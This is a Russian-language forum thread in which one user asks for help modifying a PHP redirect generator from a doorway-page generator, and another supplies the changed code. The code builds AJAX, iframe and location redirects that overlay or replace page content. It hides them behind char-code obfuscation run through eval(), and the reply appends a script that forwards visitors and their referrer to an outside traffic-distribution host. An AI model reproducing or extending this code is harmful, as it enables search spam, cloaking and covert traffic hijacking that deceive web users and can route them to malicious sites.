помогите переделать генератор редира

Тема в разделе "PHP", создана пользователем gorilla, 26 май 2008.

Статус темы:
Закрыта.
Модераторы: latteo
  1. gorilla

    gorilla

    Регистр.:
    11 сен 2007
    Сообщения:
    211
    Симпатии:
    27
    Есть скрипт (из доргена red button) он генерирует джава редирект мне нужно что бы он генерировал редирект с дополнительным джава кодом.

    Вот собсно код генератора редиректов но мне нада джава , участок который его генерит зелёненьким отмечен .

    <?php

    $red_ajax="
    var xmlHttp = false;
    /*@cc_on @*/
    /*@if (@_jscript_version >= 5)
    try {
    xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
    } catch (e) {
    try {
    xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
    } catch (e2) {
    xmlHttp = false;
    }
    }
    @end @*/
    if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}

    function [FUNC]() {
    if (xmlHttp.readyState == 4) {
    var response = xmlHttp.responseText;
    var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
    document.body.innerHTML=ttt+document.body.innerHTML;
    }}

    function [FUNCNAME](query) {
    var url = [FEED];
    xmlHttp.open(\"GET\", url, true);
    xmlHttp.onreadystatechange = [FUNC];
    xmlHttp.send(null);
    }";




    $red_iframe="

    function [FUNC](url){
    var y=4*1000;
    var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';

    document.body.innerHTML=ifr+document.body.innerHTML;

    }

    function [FUNCNAME](query) {
    var url = '[FEED]';
    [FUNC](url);
    }

    ";





    function CodeMe($feed) {
    $le=strlen($feed);
    $x=rand(8,888);
    for ($i=0; $i<$le; $i++){
    $s=substr($feed, $i, 1);
    @$out.='"'.(ord($s)+$x).'", ';

    }
    $out="[".trim($out, ', ')."];";

    $code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";


    return $code;

    }


    function GetRedir($feed, $funcname){
    global $nn_red;
    global $red_ajax, $red_iframe;

    if ($nn_red=="ajax"){
    $feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
    $feed="'add.php?ajax=".$feed."'";
    $red_ajax=str_replace("[FEED]", $feed, $red_ajax);
    $red_ajax=str_replace("[FUNCNAME]", $funcname, $red_ajax);
    $fun=GetSim(4, 8);
    $red_ajax=str_replace("[FUNC]", $fun, $red_ajax);
    return CodeMe($red_ajax);
    }

    if ($nn_red=="iframe"){
    $feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
    $red_iframe=str_replace("[FEED]", $feed, $red_iframe);
    $red_iframe=str_replace("[FUNCNAME]", $funcname, $red_iframe);
    $fun=GetSim(4, 8);
    $red_iframe=str_replace("[FUNC]", $fun, $red_iframe);
    return CodeMe($red_iframe);
    }



    if ($nn_red=="simple"){

    $feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
    $feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
    return CodeMe($feed);

    }


    if ($nn_red=="svoy"){
    $feed=str_replace("[PLUSKEYWORD]", "query", $feed);
    $feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
    return CodeMe($feed);



    }

    }

    ?>Нужно дополнить релирект вот етим .

    <script type='text/javascript'>
    var r=document.referrer;
    window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r;
    </script>

     
  2. ZCFD

    ZCFD

    Регистр.:
    16 янв 2008
    Сообщения:
    989
    Симпатии:
    437
    PHP:
    <?php
    $yourCode
    =<<<CODE
    <script type='text/javascript'>
    var r=document.referrer;
    window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r; 
    </script>
    CODE;

    $red_ajax="
    var xmlHttp = false;
    /*@cc_on @*/
    /*@if (@_jscript_version >= 5)
    try {
    xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
    } catch (e) {
    try {
    xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
    } catch (e2) {
    xmlHttp = false;
    }
    }
    @end @*/
    if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}

    function [FUNC]() {
    if (xmlHttp.readyState == 4) {
    var response = xmlHttp.responseText;
    var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
    document.body.innerHTML=ttt+document.body.innerHTM L;
    }}

    function [FUNCNAME](query) {
    var url = [FEED];
    xmlHttp.open(\"GET\", url, true);
    xmlHttp.onreadystatechange = [FUNC];
    xmlHttp.send(null);
    }"
    ;




    $red_iframe="

    function [FUNC](url){
    var y=4*1000;
    var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';

    document.body.innerHTML=ifr+document.body.innerHTM L; 

    }

    function [FUNCNAME](query) {
    var url = '[FEED]';
    [FUNC](url);
    }

    "
    ;





    function 
    CodeMe($feed) {
    $le=strlen($feed);
    $x=rand(8,888); 
    for (
    $i=0$i<$le$i++){
    $s=substr($feed$i1);
    @
    $out.='"'.(ord($s)+$x).'", ';

    }
    $out="[".trim($out', ')."];";

    $code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str[i]-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";


    return 
    $code;

    }


    function 
    GetRedir($feed$funcname){
    global 
    $nn_red;
    global 
    $red_ajax$red_iframe;

    if (
    $nn_red=="ajax"){
    $feed=str_replace("[PLUSKEYWORD]""' + query + '"$feed);
    $feed="'add.php?ajax=".$feed."'";
    $red_ajax=str_replace("[FEED]"$feed$red_ajax);
    $red_ajax=str_replace("[FUNCNAME]"$funcname$red_ajax);
    $fun=GetSim(48);
    $red_ajax=str_replace("[FUNC]"$fun$red_ajax);
    return 
    CodeMe($red_ajax);
    }

    if (
    $nn_red=="iframe"){
    $feed=str_replace("[PLUSKEYWORD]""' + query + '"$feed);
    $red_iframe=str_replace("[FEED]"$feed$red_iframe);
    $red_iframe=str_replace("[FUNCNAME]"$funcname$red_iframe);
    $fun=GetSim(48);
    $red_iframe=str_replace("[FUNC]"$fun$red_iframe);
    return 
    CodeMe($red_iframe);
    }



    if (
    $nn_red=="simple"){

    $feed=str_replace("[PLUSKEYWORD]""' + query + '"$feed);
    $feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
    return 
    CodeMe($feed).$yourCode;
    }


    if (
    $nn_red=="svoy"){
    $feed=str_replace("[PLUSKEYWORD]""query"$feed);
    $feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
    return 
    CodeMe($feed);



    }

    }

    ?>
     
    gorilla нравится это.
Статус темы:
Закрыта.